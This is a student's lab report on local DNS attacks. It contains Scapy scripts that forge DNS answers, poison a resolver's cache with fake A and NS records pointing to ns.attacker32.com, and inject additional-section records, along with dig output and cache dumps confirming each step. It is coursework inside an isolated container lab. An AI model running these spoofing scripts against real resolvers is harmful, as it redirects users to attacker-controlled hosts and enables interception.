

Solution for Local DNS Attack Lab

Johnson Liu --- CIS 4360 --- Viet Tung Hoang --- Spring 2026

Task 1: Directly Spoofing Response to User

```
seed@VM: ~/.../Labsetup x seed@VM: ~/.../volumes x seed@VM: ~/.../Labsetup x seed@VM: ~/.../volumes x
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
    if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
        pkt.show()

    # Swap the source and destination IP address
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

    # Swap the source and destination port number
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

    # The Answer Section
    Ansec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                  ttl=259200, rdata='1.1.1.1')

    # Construct the DNS packet
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                 qdcount=1, ancount=1, nscount=0, arcount=0,
                 an=Ansec)

    # Construct the entire IP packet and send it out
    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and src host 10.9.0.5 and dst port 53'
pkt = sniff(iface='br-e9e6be1b1297', filter=f, prn=spoof_dns)
~
```

This code is given in figure 2. This uses the provided code, with the iface change found by running the **ip a** command in the attacker container.

Before launching the attack, I made sure to flush the cache in the local DNS server.

I then used the dig command on the user container to verify the success of the attack:

```
[02/12/26]seed@VM:~$ docksh ba
root@bab4e83598b2:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
; global options: +cmd
; Got answer:
; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 39019
; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

; QUESTION SECTION:
www.example.com.                IN      A

; ANSWER SECTION:
www.example.com.                259200  IN      A      1.1.1.1

; Query time: 63 msec
; SERVER: 10.9.0.53#53(10.9.0.53)
; WHEN: Fri Feb 13 04:56:59 UTC 2026
; MSG SIZE rcvd: 64

root@bab4e83598b2:/#
```

Due to the presence of the fake IP Address, “1.1.1.1”, success is verified.

Task 2: DNS Cache Poisoning Attack -- Spoofing Answers

At the beginning of this task, I flushed the DNS cache using “rndc flush”. I then modified the code used in task one by changing the iface argument to fit the proper container.

```
seed@VM: ~/.../volumes seed@VM: ~
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
    if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
        pkt.show()

        # Swap the source and destination IP address
        IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

        # Swap the source and destination port number
        UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

        # The Answer Section
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                        ttl=259200, rdata='1.1.1.1')

        # Construct the DNS packet
        DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                     qdcount=1, ancount=1, nscount=0, arcount=0,
                     an=Anssec)

        # Construct the entire IP packet and send it out
        spoofpkt = IPpkt/UDPpkt/DNSpkt
        send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and src host 10.9.0.53 and dst port 53'
pkt = sniff(iface='br-e9e6be1b1297', filter=f, prn=spoof_dns)
~
"task2.py" 29L, 953C                                28,31          All
```

I ran into an issue in which the spoofed packet was too slow. I got around this situation by slowing down the traffic in the router container. After using the command, “tc qdisc add dev eth0 root netem delay 100ms”, the attack succeeded.

```
root@bab4e83598b2:/# dig www.example.com

;<<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->HEADER<- opcode: QUERY, status: NOERROR, id: 44124
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: ec454b0978a3eb0b01000000698ec1bdf5144c4d912dfba0 (good)
;; QUESTION SECTION:
;www.example.com.                IN      A

;; ANSWER SECTION:
www.example.com.                259200  IN      A      1.1.1.1

;; Query time: 595 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Fri Feb 13 06:16:29 UTC 2026
;; MSG SIZE rcvd: 88
```

Again, the presence of the fake IP address verifies success.

Task 3: Spoofing NS Records

For this task, I modify the dns_sniff_spoof.py code:

```
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
    if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
        pkt.show()

        # Swap the source and destination IP address
        IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

        # Swap the source and destination port number
        UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

        # The Answer Section
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                       ttl=259200, rdata='1.1.1.1')

        # The Authority Section
        NSsec1 = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.attacker32.com')

        # Construct the DNS packet
        DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                     qdcount=1, ancount=1, nscount=1, arcount=0,
                     an=Anssec, ns=NSsec1)

        # Construct the entire IP packet and send it out
        spoofpkt = IPpkt/UDPpkt/DNSpkt
        send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and src host 10.9.0.53 and dst port 53'
pkt = sniff(iface='br-e9e6be1b1297', filter=f, prn=spoof_dns)
```

Before I launched the attack, I flushed the cache on the local dns server container. After launching the attack, I performed the dig command on the user container. I ran into the same issue as task 2 in which the spoofed packet was too slow. I got around this by slowing traffic in the router container again, using the “tc qdisc add dev eth0 root netem delay 100ms” command.

```
root@bab4e83598b2:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6118
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 938c3bc186fc5a11010000006994d17773721f92292fe248 (good)
;; QUESTION SECTION:
;www.example.com.                IN      A

;; ANSWER SECTION:
www.example.com.                259200  IN      A      1.1.1.1

;; Query time: 679 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Tue Feb 17 20:37:11 UTC 2026
;; MSG SIZE rcvd: 88
```

As you can see, we got the fake IP address, 1.1.1.1 after digging in the user container.
Afterwards, I perform these commands in the local dns server container: “rndc dumpdb -cache”
and “cat /var/cache/bind/dump.db | grep example.com”

```
root@4c41f6735704:/# rndc dumpdb -cache
root@4c41f6735704:/# cat /var/cache/bind/dump.db | grep example.com
example.com.          777307  NS      ns.attacker32.com.
www.example.com.      863707  A       1.1.1.1
```

To confirm that the attack works on the domain example.com and not just www.example.com, I perform the dig command on blahblah.example.com:

```
root@bab4e83598b2:/# dig blahblah.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> blahblah.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 99
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: f77982da140eea96010000006994d399ab5efdc8f7a5b56b (good)
;; QUESTION SECTION:
;blahblah.example.com.      IN      A

;; ANSWER SECTION:
blahblah.example.com.      259200  IN      A       1.2.3.6

;; Query time: 7 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Tue Feb 17 20:46:17 UTC 2026
;; MSG SIZE rcvd: 93
```

Task 4: Spoofing NS Record for Another Domain

For this task, I modify the code used in task 3 by adding another NS record to the authority section for [google.com](https://www.google.com), updating the DNS packet to chain both of the NS records together and I updated nscount.

```
def spoof_dns(pkt):
    if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
        pkt.show()

        # Swap the source and destination IP address
        IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

        # Swap the source and destination port number
        UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

        # The Answer Section
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                       ttl=259200, rdata='1.1.1.1')

        # The Authority Section
        NSsec1 = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.attacker32.com')
        NSsec2 = DNSRR(rrname='google.com', type='NS', ttl=259200, rdata='ns.attacker32.com')

        # Construct the DNS packet
        DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                    qdcount=1, ancount=1, nscount=2, arcount=0,
                    an=Anssec, ns=NSsec1/NSsec2)

        # Construct the entire IP packet and send it out
        spoofpkt = IPpkt/UDPpkt/DNSpkt
        send(spoofpkt)
        print("Spoofed packet sent!")

# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and src host 10.9.0.53 and dst port 53'
pkt = sniff(iface='br-e9e6be1b1297', filter=f, prn=spoof_dns)
```

I followed the same steps as task 3: flush the cache in the local dns server, then launch the attack from the attacker container and then perform the dig command in the user container. After running “dig www.example.com”, I got this:

```
root@bab4e83598b2:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->HEADER<<- opcode: QUERY, status: NOERROR, id: 33454
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 1b0f9be83d1f5d9b010000006994ebbf1ff9435fae3732c0 (good)
;; QUESTION SECTION:
;www.example.com.                IN      A

;; ANSWER SECTION:
www.example.com.                259200  IN      A      1.1.1.1

;; Query time: 795 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Tue Feb 17 22:29:19 UTC 2026
;; MSG SIZE rcvd: 88
```

I then check the cache and it appears the [google.com](https://www.google.com) is not listed. I believe this is due to the fact that [google.com](https://www.google.com) has nothing to do with the [example.com](https://www.example.com) domain and so the local dns server discards it.

Task 5: Spoofing Records in the Additional Section

For this task, I added in the additional section and adjusted some parts of the authority section.

```
ttl=259200, rdata= 1.1.1.1 )

# The Authority Section
NSsec1 = DNSRR(rrname='example.com.', type='NS', ttl=259200, rdata='ns.attacker32.com.')
NSsec2 = DNSRR(rrname='example.com.', type='NS', ttl=259200, rdata='ns.example.com.')

# The Additional Section
Addsec1 = DNSRR(rrname='ns.attacker32.com.', type='A', ttl=259200, rdata='1.2.3.4')
Addsec2 = DNSRR(rrname='ns.example.net.', type='A', ttl=259200, rdata='5.6.7.8')
Addsec3 = DNSRR(rrname='www.facebook.com.', type='A', ttl=259200, rdata='3.4.5.6')

# Construct the DNS packet
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
             qdcount=1, ancount=1, nscount=2, arcount=3,
             an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2/Addsec3)
```

We then follow the same steps as task 4. After digging in the user container, I get the fake ip address from [example.com](https://www.example.com):

```
root@bab4e83598b2:/# dig www.example.com

;<>> DiG 9.16.1-Ubuntu <>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->HEADER<- opcode: QUERY, status: NOERROR, id: 59123
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
;; EDNS: version: 0, flags:; udp: 4096
;; COOKIE: f743c553ecce8776010000006994f2de0a17f1767d357fea (good)
;; QUESTION SECTION:
;www.example.com.                IN      A

;; ANSWER SECTION:
www.example.com.                259200  IN      A      1.1.1.1

;; Query time: 672 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Tue Feb 17 22:59:42 UTC 2026
;; MSG SIZE rcvd: 88
```

After dumping the cache and then searching through it, we notice that the two additional records are not cached.

```
root@4c41f6735704:/# rndc dumpdb -cache
root@4c41f6735704:/# cat /var/cache/bind/dump.db | grep attacker
example.com.          777393  NS      ns.attacker32.com.
root@4c41f6735704:/# rndc flush
root@4c41f6735704:/# rndc dumpdb -cache
root@4c41f6735704:/# cat /var/cache/bind/dump.db | grep attack
777301  NS      ns.attacker32.com.
root@4c41f6735704:/# cat /var/cache/bind/dump.db | grep example
example.com.          777301  NS      ns.example.com.
www.example.com.      863701  A       1.1.1.1
root@4c41f6735704:/# cat /var/cache/bind/dump.db | grep facebook
root@4c41f6735704:/# █
```

The two additional records, www.facebook.com and ns.example.net were not cached due to the fact that they are not within the example.com domain